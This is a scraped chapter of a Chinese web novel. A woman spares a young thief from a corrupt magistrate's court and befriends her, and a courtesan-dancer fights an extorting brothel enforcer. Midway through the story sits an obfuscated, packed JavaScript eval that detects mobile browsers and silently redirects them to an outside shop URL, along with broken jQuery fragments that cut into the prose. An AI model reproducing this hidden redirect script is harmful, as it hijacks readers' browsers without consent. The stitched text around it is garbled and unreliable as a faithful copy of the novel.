7. 第 7 章

作品:《朽木?我来雕雕看

    “那我问你,你能保证她进了那种地方以后,真的只是挨几板子、关几天,然后就能全须全尾地出来?”钟舜华抱臂冷声质问。


    凌承隽被她问得一怔,理所当然道:“为何不能?律法昭昭,官府自会秉公而断!”


    他话音落下,身旁几位友人却都移开了视线。围观人群中有人忍不住笑出声来,有人轻叹摇头。


    凌承隽察觉气氛有异,目光扫过友人:“诸位这是何意?”


    友人们支支吾吾,目光闪躲。


    混在人群里看热闹的瓦舍小二没忍住嗤笑一声,扬声道:“哎哟,话说得倒是轻巧。咱们这种平头百姓,进了那地方,没钱打点,不死也得脱层皮,能不能出来都得看阎王心情!您这样的贵人,手指缝里漏点儿都比我们的命值钱,装什么清白?”


    他说完,眼见那贵人循声看过来,才意识到自己太冲动,慌忙低下头找补:“小的胡胡言乱语,哈哈……”说完像害怕被报复似的,缩着脖子脚下抹油,溜走了。


    欲盖弥彰。


    凌承隽脸上血色褪去,又慢慢涨红。他看向友人,见他们尴尬回避他的目光,心中还有什么不明白的。


    他既震惊又愤怒,还有一种被蒙蔽的羞耻感,纷纷席卷而来,冲上头顶。


    自幼受祖父教诲的他,一直笃信律法公正,为官当清正爱民,就连此番进瓦舍听曲儿,也是头一回,何曾想过……底下竟是这般光景?


    他闭了闭眼,再睁开,看向那瑟瑟发抖的小姑娘,视线落在她明显短了一截的袖口,胸口发堵。沉默片刻,他将手中锦囊塞进小姑娘手里,嗓音干涩:“你走吧。”


    说罢,不顾众人惊愕的目光,起身快步离开了撷芳阁。


    一场风波骤起骤落,将近平息。


    阁内管事闻讯赶来,目光在钟舜华和小偷身上一扫,又瞥见小偷手里的锦囊,摸了摸下巴,笑道:“小姑娘,看舞得买票。既然现在有了银子,便补上罢?”


    小姑娘闻言,一下子攥紧了那沉甸甸的锦囊,显然舍不得拿里头的银钱来买天价戏票。


    管事毫不意外,冷哼一声,又看向钟舜华身上的杂役褂子,皮笑肉不笑:“我怎么不记得手下有你这么个伙计?”


    钟舜华摸摸鼻子,耸耸肩。


    “请吧?”管事提高声调,身后的打手横眉冷目。


    两人就这样被“请”出了灯火辉煌的撷芳阁。


    离去时,阁内乐声乍起,清越空灵。


    演出开始了。


    钟舜华下意识回头,只见高台之上,一道身着织金舞衣的身影翩然步至中央。


    灯火映照下,他衣袂上繁复的暗纹流转如星河。匆忙间,她只来得及看清一片华丽的袍角,以及台上人似乎懒洋洋掀开眼皮,朝她这方向投来的若有似无的一瞥。


    帘幕垂下,身影没入光影深处。


    钟舜华遗憾地叹了口气。


    被撵出来的二人站在瓦舍街边灯火阑珊处,吹着冷风,成了难姐难妹。


    小偷捏着锦囊,心情复杂地看了一眼钟舜华。如果不是这个人多事,她或许已得了手溜之大吉。可后来若没有这人坚持,她恐怕真就要被那不通世事的公子送进衙门,受尽磋磨。


    踌躇半晌,她还是从锦囊里摸出一小锭银子,递过去:“……这个,给你。”


    “哦,”钟舜华眨了眨眼,毫无心理负担地接过,自然而然地揣进怀里,“多谢。”


    小姑娘:“……”


    她张了张嘴,看着钟舜华那副理所当然的呆样,一时不知该气还是该笑,最后只得暗自庆幸——幸好只给了一锭!


    一路无话,走到岔路口临分别前,小姑娘犹豫良久,低声道:“那个,我叫阿酒。我……我只偷那些钱多了烧得慌,喜欢欺压百姓的阔老爷,从来不碰穷苦人的活命钱。”


    钟舜华点点头:“我知道。”她语气平常,“其实我早瞧见你了,偷了好几个看着就讨厌的有钱家伙,我没想管。可你刚才偷的那位……他不像是坏人,你不该偷他。”


    阿酒怔住,抬眼仔细打量钟舜华。这人看起来愣头愣脑,甚至有些土气,可一双眼睛清亮透彻,对人的善恶似乎有种近乎本能的敏锐。


    她心里的那点怨气忽然就散了,反倒生出些微妙的亲近和羞愧,还有些说不清的羡慕。她想说点什么,嘴唇动了动,却拉不下脸。


    钟舜华却没这些纠结。上辈子三教九流的人见多了,收服跟班更是熟门熟路。她很是豪气地拍了拍阿酒单薄的肩膀:“阿酒是吧,我要在榆林巷开家具铺子。你往后要是还找不着正经活计,就来寻我,给我当个跑堂伙计,管饭!”


    阿酒鼻子一酸,赶紧低下头,闷闷“嗯”了一声。


    “我叫钟舜华。”钟舜华咧嘴一笑,冲她抱了抱拳,“江湖再见!”


    那笑容明亮爽朗,带着一股子令人艳羡的生命力。阿酒望着她潇洒离去的背影,头一回觉得,这无根无基的京城,也没那么冷了。


    钟舜华心里美滋滋的,觉得自己方才那番做派,颇有几分话本里侠客的风范。她脚步轻快地往家走,盘算着明日如何跟老爹分享这多出的一锭“意外之财”。


    快到家门时,却远远瞧见自家小院里还亮着昏黄的烛火。


    一个熟悉的身影坐在院中矮凳上,背微微佝偻着,就着那微弱的光线,全神贯注地用左手一点点雕刻着燕几上的花纹。


    刻刀起落极轻,沙沙的轻响融在夜色里,几乎听不清。那身影独自在空旷漆黑的院子中,显得格外孤寂。


    钟舜华脸上的笑容慢慢落了下来。


    她在原地站了片刻,看着老爹映在院墙上的影子,又摸了摸怀里那锭还带着体温的银子,忽然转身,拐进另一条小巷,朝着城外黑黢黢的山峦方向而去。


    .


    黎明前夕,瓦舍的喧嚣渐渐散去,舞台冷寂,笙歌消歇。


    几条巷子之外,僻静的小道笼在未尽的夜色里。


    后半夜下了点小雨,巷道湿漉漉的,蓄积的小水坑里映着微弱的光影。墙根长满了青苔,杂乱堆放着住户们不常用的家具农具,上面盖着聊胜于无的油布,隐隐散发着一股潮湿的霉味。


    晨雾弥漫,四下无人,连野猫野犬都不见踪影,只有穿堂风偶尔吹过,吹得油布簌簌作响,更添了几分阴冷诡谲。


    小圆被吓得缩起脖子,往前追了两步,想离前面的男人更近些。


    一高一矮两道身影,提着昏黄的纸灯笼,一言不发地走着。


    突然,前面的男子毫无预兆地顿住脚步,微哑的声音在寂静中突兀响起:“小圆,你冷不冷?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908834|192433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小圆刹住脚,心领神会:“明白,我这就回楼里替您把鹤氅取来。”


    男子微微颔首,并未回头,只继续往前走。


    待侍女的脚步声远去,他忽而停下,对着空荡荡的巷子,倦懒开口:“行了,出来罢,再跟就到地方了。”


    窸窸窣窣的声响从墙根阴影里传出。片刻之后,一个穿着粗布短褂的身影搓着手,神色怪异地走了出来。


    男子侧过脸,就着灯笼昏黄的光看了他一眼,似笑非笑:“李哥不在馆里当值,跟着我做什么?莫非是怕我跑了?”


    “跑?”龟公满脸不屑,“你往哪儿跑?卖身契还在馆主手里捏着呢。”他凑近两步,压低声音,眼中透出油腻的贪欲,“邬公子,最近手头紧,找你借点银子周转周转。”


    邬峤低低笑了一声,声音带着些微微的叹息:“我是奴,哪来的私钱?你若真想要,不如……”他抬手拂过鬓边一支珍珠步摇,“将这些钗环拿去?”


    珠光映着他昳丽的侧脸,龟公一时竟被那容色与笑意晃得有些失神,好半晌才反应过来,恼羞成怒地啐了一口:“呸,你蒙傻子呢?!这些首饰都在册上记着名儿,我拿来怎么用?”他盯着邬峤,眼神阴鸷,“别装了,我不信你没钱!前儿个我还看见几位衙内偷偷打赏你。”


    邬峤恹恹垂下眼。


    “过不了多久,邬公子就要飞上枝头,去贵人府里享福了,这点子钱还舍不得?倒不如赏给哥哥们去喝点小酒,哥哥自会替你遮掩。”龟公费尽口舌,却见邬峤一脸无趣地不为所动,仿佛在看他唱独角戏般。他登时大怒,“邬峤,你是不是不懂规矩?要是捅到馆主妈妈那里去,可就一分都留不下了!”


    邬峤静静看着他,眸色在昏光中晦暗不明。许久,他轻叹一声:“好吧。钱没带在身上,随我去住所拿。”


    龟公面上一喜,心里盘算这条大鱼究竟私藏了多少银钱,忙不迭跟上。谁知刚靠近邬峤身侧,那看起来纤细的舞伎陡然抬手,一道冰冷的银光自他袖中疾刺而出,直取龟公咽喉!


    龟公骇然变色,虽被美色和钱财所惑,反应却不算慢,仓促间猛地一偏头,磨得极尖的银箸擦着他的脖颈划过,带出一道血线。


    他吃痛怒吼,仗着力气大,一把攥住邬峤持箸的手腕,两人顿时扭打在一处。


    银箸飞落,在空旷的巷中发出清脆声响,邬峤掐住了对面人的喉咙。


    龟公又惊又怒。他干惯了镇场押人的力气活,从来不把舞伎放在眼里,这回也不过是像以前一样,找即将赎身的伎子要点银钱。眼前这位虽是头牌,但左不过也是个弱鸡,定然愿意花钱消灾。


    可他没想到,这邬峤竟是个要钱不要命的,下手如此狠辣决绝,招招奔着要害,全然是拼命的架势。


    “松、手!”他被邬峤紧紧扼住脖颈,面色涨得发紫,目眦欲裂:“听见、没有?!该死的、贱货、万人骑的东西……松、开!”


    “威胁我?”邬峤自己也被掐得呼吸艰难,胸腔剧痛,却仿佛听不见那些污言秽语。


    他毫不在意那几乎要捏碎他喉骨的力道,一双手不依不饶地死死扣在龟公的颈动脉上,冷沉的眸子映着微弱天光,透出一种压抑后的疯狂,看得人心底发寒,“正好……小爷也不想活了。陪我一起……上路吧。”